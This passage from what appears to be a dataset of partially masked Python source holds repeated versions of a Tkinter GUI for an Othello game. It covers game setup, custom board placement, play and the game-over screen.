self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
